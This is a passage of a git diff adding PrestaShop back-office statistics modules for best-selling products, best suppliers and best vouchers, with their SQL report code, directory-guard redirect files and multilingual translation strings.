'DESC'; + $this->_emptyMessage = $this->l('An empty record-set was returned.'); + $this->_pagingMessage = sprintf($this->l('Displaying %1$s of %2$s'), '{0} - {1}', '{2}'); + + $this->_columns = array( + array( + 'id' => 'reference', + 'header' => $this->l('Ref.'), + 'dataIndex' => 'reference', + 'align' => 'left', + 'width' => 50 + ), + array( + 'id' => 'name', + 'header' => $this->l('Name'), + 'dataIndex' => 'name', + 'align' => 'left', + 'width' => 100 + ), + array( + 'id' => 'totalQuantitySold', + 'header' => $this->l('Quantity sold'), + 'dataIndex' => 'totalQuantitySold', + 'width' => 50, + 'align' => 'right' + ), + array( + 'id' => 'avgPriceSold', + 'header' => $this->l('Price sold'), + 'dataIndex' => 'avgPriceSold', + 'width' => 50, + 'align' => 'right' + ), + array( + 'id' => 'totalPriceSold', + 'header' => $this->l('Sales'), + 'dataIndex' => 'totalPriceSold', + 'width' => 50, + 'align' => 'right' + ), + array( + 'id' => 'averageQuantitySold', + 'header' => $this->l('Quantity sold in a day.'), + 'dataIndex' => 'averageQuantitySold', + 'width' => 60, + 'align' => 'right' + ), + array( + 'id' => 'totalPageViewed', + 'header' => $this->l('Page views'), + 'dataIndex' => 'totalPageViewed', + 'width' => 60, + 'align' => 'right' + ), + array( + 'id' => 'quantity', + 'header' => $this->l('Available quantity for sale.'), + 'dataIndex' => 'quantity', + 'width' => 150, + 'align' => 'right' + ) + ); + + $this->displayName = $this->l('Best-selling products.'); + $this->description = $this->l('A list of the best-selling products.'); + } + + public function install() + { + return (parent::install() && $this->registerHook('AdminStatsModules')); + } + + public function hookAdminStatsModules($params) + { + $engineParams = array( + 'id' => 'id_product', + 'title' => $this->displayName, + 'columns' => $this->_columns, + 'defaultSortColumn' => $this->_defaultSortColumn, + 'defaultSortDirection' => $this->_defaultSortDirection, + 'emptyMessage' => $this->_emptyMessage, + 'pagingMessage' => $this->_pagingMessage + ); + + if (Tools::getValue('export')) + $this->csvExport($engineParams); + + $this->_html = ' +

        '.$this->displayName.'

        + '.$this->engine($engineParams).' +

        '.$this->l('CSV Export').'

        + '; + return $this->_html; + } + + public function getData() + { + $dateBetween = $this->getDate(); + $arrayDateBetween = explode(' AND ', $dateBetween); + + $this->_query = 'SELECT SQL_CALC_FOUND_ROWS p.reference, p.id_product, pl.name, + ROUND(AVG(od.product_price / o.conversion_rate), 2) as avgPriceSold, + IFNULL(stock.quantity, 0) as quantity, + IFNULL(SUM(od.product_quantity), 0) AS totalQuantitySold, + ROUND(IFNULL(IFNULL(SUM(od.product_quantity), 0) / (1 + LEAST(TO_DAYS('.$arrayDateBetween[1].'), TO_DAYS(NOW())) - GREATEST(TO_DAYS('.$arrayDateBetween[0].'), TO_DAYS(product_shop.date_add))), 0), 2) as averageQuantitySold, + ROUND(IFNULL(SUM((od.product_price * od.product_quantity) / o.conversion_rate), 0), 2) AS totalPriceSold, + ( + SELECT IFNULL(SUM(pv.counter), 0) + FROM '._DB_PREFIX_.'page pa + LEFT JOIN '._DB_PREFIX_.'page_viewed pv ON pa.id_page = pv.id_page + LEFT JOIN '._DB_PREFIX_.'date_range dr ON pv.id_date_range = dr.id_date_range + WHERE pa.id_object = p.id_product AND pa.id_page_type = ('.(int)Page::getPageTypeByName('product').') + AND dr.time_start BETWEEN '.$dateBetween.' + AND dr.time_end BETWEEN '.$dateBetween.' + ) AS totalPageViewed + FROM '._DB_PREFIX_.'product p + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN '._DB_PREFIX_.'product_lang pl ON (p.id_product = pl.id_product AND pl.id_lang = '.(int)$this->getLang().Shop::addSqlRestrictionOnLang('pl').') + LEFT JOIN '._DB_PREFIX_.'order_detail od ON od.product_id = p.id_product + LEFT JOIN '._DB_PREFIX_.'orders o ON od.id_order = o.id_order + '.Product::sqlStock('p', 0).' + WHERE product_shop.active = 1 + AND o.valid = 1 + AND o.invoice_date BETWEEN '.$dateBetween.' + GROUP BY od.product_id'; + + if (Validate::IsName($this->_sort)) + { + $this->_query .= ' ORDER BY `'.$this->_sort.'`'; + if (isset($this->_direction) && Validate::isSortDirection($this->_direction)) + $this->_query .= ' '.$this->_direction; + } + + if (($this->_start === 0 || Validate::IsUnsignedInt($this->_start)) && Validate::IsUnsignedInt($this->_limit)) + $this->_query .= ' LIMIT '.$this->_start.', '.($this->_limit); + $this->_values = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query); + $this->_totalCount = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue('SELECT FOUND_ROWS()'); + } +} diff --git a/modules/statsbestproducts/translations/en.php b/modules/statsbestproducts/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/statsbestproducts/translations/fr.php b/modules/statsbestproducts/translations/fr.php new file mode 100755 index 0000000..acc6a06 --- /dev/null +++ b/modules/statsbestproducts/translations/fr.php @@ -0,0 +1,18 @@ +statsbestproducts_8c4d7af5f578693f9a6cf391e912ee33'] = 'Aucun résultat'; +$_MODULE['<{statsbestproducts}prestashop>statsbestproducts_f5c493141bb4b2508c5938fd9353291a'] = 'Affichage de %1$s de %2$s'; +$_MODULE['<{statsbestproducts}prestashop>statsbestproducts_12d3c7a4296542c62474856ec452c045'] = 'Ref.'; +$_MODULE['<{statsbestproducts}prestashop>statsbestproducts_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{statsbestproducts}prestashop>statsbestproducts_2a0440eec72540c5b30d9199c01f348c'] = 'Qté'; +$_MODULE['<{statsbestproducts}prestashop>statsbestproducts_6771f2d557a34bd89ea7abc92a0a069c'] = 'Prix de vente'; +$_MODULE['<{statsbestproducts}prestashop>statsbestproducts_11ff9f68afb6b8b5b8eda218d7c83a65'] = 'CA'; +$_MODULE['<{statsbestproducts}prestashop>statsbestproducts_96e887520933606d3928a4ae164fe5e5'] = 'Qté vendue / jour'; +$_MODULE['<{statsbestproducts}prestashop>statsbestproducts_7664a37e0cc56aaf39aebf2edbd3f98e'] = 'Pages vues'; +$_MODULE['<{statsbestproducts}prestashop>statsbestproducts_6e71d214907cd43403f4bbde5731a9a3'] = 'Quantités disponibles à la vente'; +$_MODULE['<{statsbestproducts}prestashop>statsbestproducts_b9ef20f6c20406b631db52374a519b1f'] = 'Meilleurs produits'; +$_MODULE['<{statsbestproducts}prestashop>statsbestproducts_dec6192cbc59ba37d38a3fdc5c3ed7f7'] = 'Liste des meilleurs produits'; +$_MODULE['<{statsbestproducts}prestashop>statsbestproducts_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; diff --git a/modules/statsbestproducts/translations/index.php b/modules/statsbestproducts/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statsbestproducts/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statsbestsuppliers/index.php b/modules/statsbestsuppliers/index.php new file mode 100755 index 0000000..e582afc --- /dev/null +++ b/modules/statsbestsuppliers/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statsbestsuppliers/logo.gif b/modules/statsbestsuppliers/logo.gif new file mode 100755 index 0000000..fa3a15d Binary files /dev/null and b/modules/statsbestsuppliers/logo.gif differ diff --git a/modules/statsbestsuppliers/logo.png b/modules/statsbestsuppliers/logo.png new file mode 100755 index 0000000..3627afc Binary files /dev/null and b/modules/statsbestsuppliers/logo.png differ diff --git a/modules/statsbestsuppliers/statsbestsuppliers.php b/modules/statsbestsuppliers/statsbestsuppliers.php new file mode 100755 index 0000000..54011db --- /dev/null +++ b/modules/statsbestsuppliers/statsbestsuppliers.php @@ -0,0 +1,152 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class StatsBestSuppliers extends ModuleGrid +{ + private $_html = null; + private $_query = null; + private $_columns = null; + private $_defaultSortColumn = null; + private $_defaultSortDirection = null; + private $_emptyMessage = null; + private $_pagingMessage = null; + + public function __construct() + { + $this->name = 'statsbestsuppliers'; + $this->tab = 'analytics_stats'; + $this->version = 1.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->_defaultSortColumn = 'sales'; + $this->_defaultSortDirection = 'DESC'; + $this->_emptyMessage = $this->l('Empty record set returned'); + $this->_pagingMessage = sprintf($this->l('Displaying %1$s of %2$s'), '{0} - {1}', '{2}'); + + $this->_columns = array( + array( + 'id' => 'name', + 'header' => $this->l('Name'), + 'dataIndex' => 'name', + 'align' => 'left', + 'width' => 200 + ), + array( + 'id' => 'quantity', + 'header' => $this->l('Quantity sold'), + 'dataIndex' => 'quantity', + 'width' => 60, + 'align' => 'right' + ), + array( + 'id' => 'sales', + 'header' => $this->l('Total paid'), + 'dataIndex' => 'sales', + 'width' => 60, + 'align' => 'right' + ) + ); + + $this->displayName = $this->l('Best suppliers'); + $this->description = $this->l('A list of the best suppliers'); + } + + public function install() + { + return (parent::install() && $this->registerHook('AdminStatsModules')); + } + + public function hookAdminStatsModules($params) + { + $engineParams = array( + 'id' => 'id_category', + 'title' => $this->displayName, + 'columns' => $this->_columns, + 'defaultSortColumn' => $this->_defaultSortColumn, + 'defaultSortDirection' => $this->_defaultSortDirection, + 'emptyMessage' => $this->_emptyMessage, + 'pagingMessage' => $this->_pagingMessage + ); + + if (Tools::getValue('export') == 1) + $this->csvExport($engineParams); + $this->_html = ' +

        '.$this->displayName.'

        + '.$this->engine($engineParams).' +

        '.$this->l('CSV Export').'

        +
        '; + return $this->_html; + } + + /** + * @return int Get total of distinct suppliers + */ + public function getTotalCount() + { + $sql = 'SELECT COUNT(DISTINCT(s.id_supplier)) + FROM '._DB_PREFIX_.'order_detail od + LEFT JOIN '._DB_PREFIX_.'product p ON p.id_product = od.product_id + LEFT JOIN '._DB_PREFIX_.'orders o ON o.id_order = od.id_order + LEFT JOIN '._DB_PREFIX_.'supplier s ON s.id_supplier = p.id_supplier + WHERE o.invoice_date BETWEEN '.$this->getDate().' + '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o').' + AND o.valid = 1 + AND s.id_supplier IS NOT NULL'; + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($sql); + } + + public function getData() + { + $this->_totalCount = $this->getTotalCount(); + + $this->_query = 'SELECT s.name, SUM(od.product_quantity) as quantity, ROUND(SUM(od.product_quantity * od.product_price) / o.conversion_rate, 2) as sales + FROM '._DB_PREFIX_.'order_detail od + LEFT JOIN '._DB_PREFIX_.'product p ON p.id_product = od.product_id + LEFT JOIN '._DB_PREFIX_.'orders o ON o.id_order = od.id_order + LEFT JOIN '._DB_PREFIX_.'supplier s ON s.id_supplier = p.id_supplier + WHERE o.invoice_date BETWEEN '.$this->getDate().' + '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o').' + AND o.valid = 1 + AND s.id_supplier IS NOT NULL + GROUP BY p.id_supplier'; + if (Validate::IsName($this->_sort)) + { + $this->_query .= ' ORDER BY `'.$this->_sort.'`'; + if (isset($this->_direction) && Validate::isSortDirection($this->_direction)) + $this->_query .= ' '.$this->_direction; + } + + if (($this->_start === 0 || Validate::IsUnsignedInt($this->_start)) && Validate::IsUnsignedInt($this->_limit)) + $this->_query .= ' LIMIT '.$this->_start.', '.($this->_limit); + $this->_values = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query); + } +} \ No newline at end of file diff --git a/modules/statsbestsuppliers/translations/en.php b/modules/statsbestsuppliers/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/statsbestsuppliers/translations/fr.php b/modules/statsbestsuppliers/translations/fr.php new file mode 100755 index 0000000..dc2255a --- /dev/null +++ b/modules/statsbestsuppliers/translations/fr.php @@ -0,0 +1,13 @@ +statsbestsuppliers_b5f5c19c8729b639d4d2a256fcb01a10'] = 'Aucun résultat'; +$_MODULE['<{statsbestsuppliers}prestashop>statsbestsuppliers_f5c493141bb4b2508c5938fd9353291a'] = 'Affichage de %1$s de %2$s'; +$_MODULE['<{statsbestsuppliers}prestashop>statsbestsuppliers_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{statsbestsuppliers}prestashop>statsbestsuppliers_2a0440eec72540c5b30d9199c01f348c'] = 'Quantité'; +$_MODULE['<{statsbestsuppliers}prestashop>statsbestsuppliers_ea067eb37801c5aab1a1c685eb97d601'] = 'CA'; +$_MODULE['<{statsbestsuppliers}prestashop>statsbestsuppliers_cc3eb9ba7d0e236f33023a4744d0693a'] = 'Meilleurs fournisseurs'; +$_MODULE['<{statsbestsuppliers}prestashop>statsbestsuppliers_0fbee5f62b2695e84a5eb275bcf98c6f'] = 'Liste des meilleurs fournisseurs'; +$_MODULE['<{statsbestsuppliers}prestashop>statsbestsuppliers_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; diff --git a/modules/statsbestsuppliers/translations/index.php b/modules/statsbestsuppliers/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statsbestsuppliers/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statsbestvouchers/de.php b/modules/statsbestvouchers/de.php new file mode 100755 index 0000000..2ab3c4d --- /dev/null +++ b/modules/statsbestvouchers/de.php @@ -0,0 +1,13 @@ +statsbestvouchers_4f29d8c727dcf2022ac241cb96c31083'] = 'Ausgabe Aufnahmeeinstellungen leer'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_eab2b4237a7cd89c309119e35f62d168'] = 'Anzeige'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_8bf8854bebe108183caeb845c7676ae4'] = 'von'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_49ee3087348e8d44e1feda1917443987'] = 'Name'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_11ff9f68afb6b8b5b8eda218d7c83a65'] = 'Verkäufe'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_df25596dc94d556af2f1823725118572'] = 'Gesamt benutzt'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_b769cee333527b8dc6f3f67882e35a0b'] = 'Beste Gutscheine'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_8fc8a29113479bf76f0917c51795ca99'] = 'Eine Liste der besten Gutscheine'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_998e4c5c80f27dec552e99dfed34889a'] = 'CSV-Export'; diff --git a/modules/statsbestvouchers/en.php b/modules/statsbestvouchers/en.php new file mode 100755 index 0000000..0ae77c9 --- /dev/null +++ b/modules/statsbestvouchers/en.php @@ -0,0 +1,4 @@ +statsbestvouchers_4f29d8c727dcf2022ac241cb96c31083'] = 'Devolución de recordset vacío'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_eab2b4237a7cd89c309119e35f62d168'] = 'Mostrando'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_8bf8854bebe108183caeb845c7676ae4'] = 'de'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_49ee3087348e8d44e1feda1917443987'] = 'Nombre'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_11ff9f68afb6b8b5b8eda218d7c83a65'] = 'Ventas'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_df25596dc94d556af2f1823725118572'] = 'Total utilizado'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_b769cee333527b8dc6f3f67882e35a0b'] = 'Mejores vales descuento'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_8fc8a29113479bf76f0917c51795ca99'] = 'Lista de mejores vales descuento'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_998e4c5c80f27dec552e99dfed34889a'] = 'CSV Export'; diff --git a/modules/statsbestvouchers/fr.php b/modules/statsbestvouchers/fr.php new file mode 100755 index 0000000..2b43f10 --- /dev/null +++ b/modules/statsbestvouchers/fr.php @@ -0,0 +1,14 @@ +statsbestvouchers_4f29d8c727dcf2022ac241cb96c31083'] = 'Aucun résultat'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_eab2b4237a7cd89c309119e35f62d168'] = 'Affichage de'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_8bf8854bebe108183caeb845c7676ae4'] = 'sur'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_11ff9f68afb6b8b5b8eda218d7c83a65'] = 'Chiffre d\'affaire'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_df25596dc94d556af2f1823725118572'] = 'Total utilisé'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_b769cee333527b8dc6f3f67882e35a0b'] = 'Meilleurs coupons de réduction'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_8fc8a29113479bf76f0917c51795ca99'] = 'Liste des meilleurs coupons de réduction'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; + \ No newline at end of file diff --git a/modules/statsbestvouchers/index.php b/modules/statsbestvouchers/index.php new file mode 100755 index 0000000..a85fb99 --- /dev/null +++ b/modules/statsbestvouchers/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2012 PrestaShop SA +* @version Release: $Revision: 14011 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statsbestvouchers/it.php b/modules/statsbestvouchers/it.php new file mode 100755 index 0000000..7db483c --- /dev/null +++ b/modules/statsbestvouchers/it.php @@ -0,0 +1,13 @@ +statsbestvouchers_4f29d8c727dcf2022ac241cb96c31083'] = 'recordset vuoto restituito'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_eab2b4237a7cd89c309119e35f62d168'] = 'Visualizzazione'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_8bf8854bebe108183caeb845c7676ae4'] = 'di'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_49ee3087348e8d44e1feda1917443987'] = 'Nome'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_11ff9f68afb6b8b5b8eda218d7c83a65'] = 'Vendite'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_df25596dc94d556af2f1823725118572'] = 'Totale usato'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_b769cee333527b8dc6f3f67882e35a0b'] = 'Miglior buoni'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_8fc8a29113479bf76f0917c51795ca99'] = 'Eenco dei migliori buoni'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_998e4c5c80f27dec552e99dfed34889a'] = 'Esporta CSV'; diff --git a/modules/statsbestvouchers/logo.gif b/modules/statsbestvouchers/logo.gif new file mode 100755 index 0000000..fa3a15d Binary files /dev/null and b/modules/statsbestvouchers/logo.gif differ diff --git a/modules/statsbestvouchers/statsbestvouchers.php b/modules/statsbestvouchers/statsbestvouchers.php new file mode 100755 index 0000000..7c8b17b --- /dev/null +++ b/modules/statsbestvouchers/statsbestvouchers.php @@ -0,0 +1,134 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class StatsBestVouchers extends ModuleGrid +{ + private $_html; + private $_query; + private $_columns; + private $_defaultSortColumn; + private $_defaultSortDirection; + private $_emptyMessage; + private $_pagingMessage; + + public function __construct() + { + $this->name = 'statsbestvouchers'; + $this->tab = 'analytics_stats'; + $this->version = 1.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->_defaultSortColumn = 'ca'; + $this->_defaultSortDirection = 'DESC'; + $this->_emptyMessage = $this->l('Empty recordset returned'); + $this->_pagingMessage = sprintf($this->l('Displaying %1$s of %2$s'), '{0} - {1}', '{2}'); + + $this->_columns = array( + array( + 'id' => 'name', + 'header' => $this->l('Name'), + 'dataIndex' => 'name', + 'align' => 'left', + 'width' => 300 + ), + array( + 'id' => 'ca', + 'header' => $this->l('Sales'), + 'dataIndex' => 'ca', + 'width' => 30, + 'align' => 'right' + ), + array( + 'id' => 'total', + 'header' => $this->l('Total used'), + 'dataIndex' => 'total', + 'width' => 30, + 'align' => 'right' + ) + ); + + $this->displayName = $this->l('Best vouchers'); + $this->description = $this->l('A list of the best vouchers'); + } + + public function install() + { + return (parent::install() && $this->registerHook('AdminStatsModules')); + } + + public function hookAdminStatsModules($params) + { + $engineParams = array( + 'id' => 'id_product', + 'title' => $this->displayName, + 'columns' => $this->_columns, + 'defaultSortColumn' => $this->_defaultSortColumn, + 'defaultSortDirection' => $this->_defaultSortDirection, + 'emptyMessage' => $this->_emptyMessage, + 'pagingMessage' => $this->_pagingMessage + ); + + if (Tools::getValue('export')) + $this->csvExport($engineParams); + + $this->_html = ' +

        '.$this->displayName.'

        + '.$this->engine($engineParams).' +
        '.$this->l('CSV Export').' +
        '; + return $this->_html; + } + + public function getData() + { + $this->_query = 'SELECT SQL_CALC_FOUND_ROWS ocr.name as name, COUNT(ocr.id_cart_rule) as total, ROUND(SUM(o.total_paid_real) / o.conversion_rate, 2) as ca + FROM '._DB_PREFIX_.'order_cart_rule ocr + LEFT JOIN '._DB_PREFIX_.'orders o ON o.id_order = ocr.id_order + WHERE o.valid = 1 or o.valid = 0 + '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o').' + AND o.invoice_date BETWEEN '.$this->getDate().' + GROUP BY ocr.id_cart_rule'; + + + + if (Validate::IsName($this->_sort)) + { + $this->_query .= ' ORDER BY `'.$this->_sort.'`'; + if (isset($this->_direction) && (strtoupper($this->_direction) == 'ASC' || strtoupper($this->_direction) == 'DESC')) + $this->_query .= ' '.pSQL($this->_direction); + } + if (($this->_start === 0 || Validate::IsUnsignedInt($this->_start)) && Validate::IsUnsignedInt($this->_limit)) + $this->_query .= ' LIMIT '.$this->_start.', '.($this->_limit); + $this->_values = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query); + $this->_totalCount = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue('SELECT FOUND_ROWS()'); + } +} diff --git a/modules/statsbestvouchers/statsbestvouchers2.php b/modules/statsbestvouchers/statsbestvouchers2.php new file mode 100755 index 0000000..d12a327 --- /dev/null +++ b/modules/statsbestvouchers/statsbestvouchers2.php @@ -0,0 +1,133 @@ + +* @copyright 2007-2012 PrestaShop SA +* @version Release: $Revision: 14011 $ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class StatsBestVouchers extends ModuleGrid +{ + private $_html; + private $_query; + private $_columns; + private $_defaultSortColumn; + private $_defaultSortDirection; + private $_emptyMessage; + private $_pagingMessage; + + function __construct() + { + $this->name = 'statsbestvouchers'; + $this->tab = 'analytics_stats'; + $this->version = 1.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + $this->_defaultSortColumn = 'ca'; + $this->_defaultSortDirection = 'DESC'; + $this->_emptyMessage = $this->l('Empty recordset returned'); + $this->_pagingMessage = $this->l('Displaying').' {0} - {1} '.$this->l('of').' {2}'; + + $this->_columns = array( + array( + 'id' => 'name', + 'header' => $this->l('Name'), + 'dataIndex' => 'name', + 'align' => 'left', + 'width' => 300 + ), + array( + 'id' => 'ca', + 'header' => $this->l('Sales'), + 'dataIndex' => 'ca', + 'width' => 30, + 'align' => 'right' + ), + array( + 'id' => 'total', + 'header' => $this->l('Total used'), + 'dataIndex' => 'total', + 'width' => 30, + 'align' => 'right' + ) + ); + + parent::__construct(); + + $this->displayName = $this->l('Best vouchers'); + $this->description = $this->l('A list of the best vouchers'); + } + + public function install() + { + return (parent::install() AND $this->registerHook('AdminStatsModules')); + } + + public function hookAdminStatsModules($params) + { + $engineParams = array( + 'id' => 'id_product', + 'title' => $this->displayName, + 'columns' => $this->_columns, + 'defaultSortColumn' => $this->_defaultSortColumn, + 'defaultSortDirection' => $this->_defaultSortDirection, + 'emptyMessage' => $this->_emptyMessage, + 'pagingMessage' => $this->_pagingMessage + ); + + if (Tools::getValue('export')) + $this->csvExport($engineParams); + + $this->_html = ' +
        '.$this->displayName.' + '.ModuleGrid::engine($engineParams).' +
        '.$this->l('CSV Export').' +
        '; + return $this->_html; + } + + public function getData() + { + $this->_query = ' + SELECT SQL_CALC_FOUND_ROWS od.name, COUNT(od.id_discount) as total, SUM(o.total_paid_real) / o.conversion_rate as ca + FROM '._DB_PREFIX_.'order_discount od + LEFT JOIN '._DB_PREFIX_.'orders o ON o.id_order = od.id_order + WHERE o.valid = 1 + AND o.invoice_date BETWEEN '.$this->getDate().' + GROUP BY od.id_discount'; + + if (Validate::IsName($this->_sort)) + { + $this->_query .= ' ORDER BY `'.$this->_sort.'`'; + if (isset($this->_direction) && (strtoupper($this->_direction) == 'ASC' || strtoupper($this->_direction) == 'DESC')) + $this->_query .= ' '.pSQL($this->_direction); + } + if (($this->_start === 0 OR Validate::IsUnsignedInt($this->_start)) AND Validate::IsUnsignedInt($this->_limit)) + $this->_query .= ' LIMIT '.$this->_start.', '.($this->_limit); + $this->_values = Db::getInstance(_PS_USE_SQL_SLAVE_)->ExecuteS($this->_query); + $this->_totalCount = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue('SELECT FOUND_ROWS()'); + } +} diff --git a/modules/statsbestvouchers/translations/en.php b/modules/statsbestvouchers/translations/en.php new file mode 100755 index 0000000..d10e190 --- /dev/null +++ b/modules/statsbestvouchers/translations/en.php @@ -0,0 +1,11 @@ +statsbestvouchers_4f29d8c727dcf2022ac241cb96c31083'] = 'Aucun résultat'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_11ff9f68afb6b8b5b8eda218d7c83a65'] = 'Chiffre d\'affaire'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_df25596dc94d556af2f1823725118572'] = 'Total utilisé'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_b769cee333527b8dc6f3f67882e35a0b'] = 'Meilleurs coupons de réduction'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_8fc8a29113479bf76f0917c51795ca99'] = 'Liste des meilleurs coupons de réduction'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; diff --git a/modules/statsbestvouchers/translations/fr.php b/modules/statsbestvouchers/translations/fr.php new file mode 100755 index 0000000..85baa9b --- /dev/null +++ b/modules/statsbestvouchers/translations/fr.php @@ -0,0 +1,13 @@ +statsbestvouchers_4f29d8c727dcf2022ac241cb96c31083'] = 'Aucun résultat'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_f5c493141bb4b2508c5938fd9353291a'] = 'Affichage de %1$s de %2$s'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_11ff9f68afb6b8b5b8eda218d7c83a65'] = 'Chiffre d\'affaire'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_df25596dc94d556af2f1823725118572'] = 'Total utilisé'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_b769cee333527b8dc6f3f67882e35a0b'] = 'Meilleurs coupons de réduction'; +$_MODULE['<{statsbestvouchers}prestashop>statsbestvouchers_8fc8a29113479bf76f0917c51795ca99'] = 'Liste des meilleurs coupons 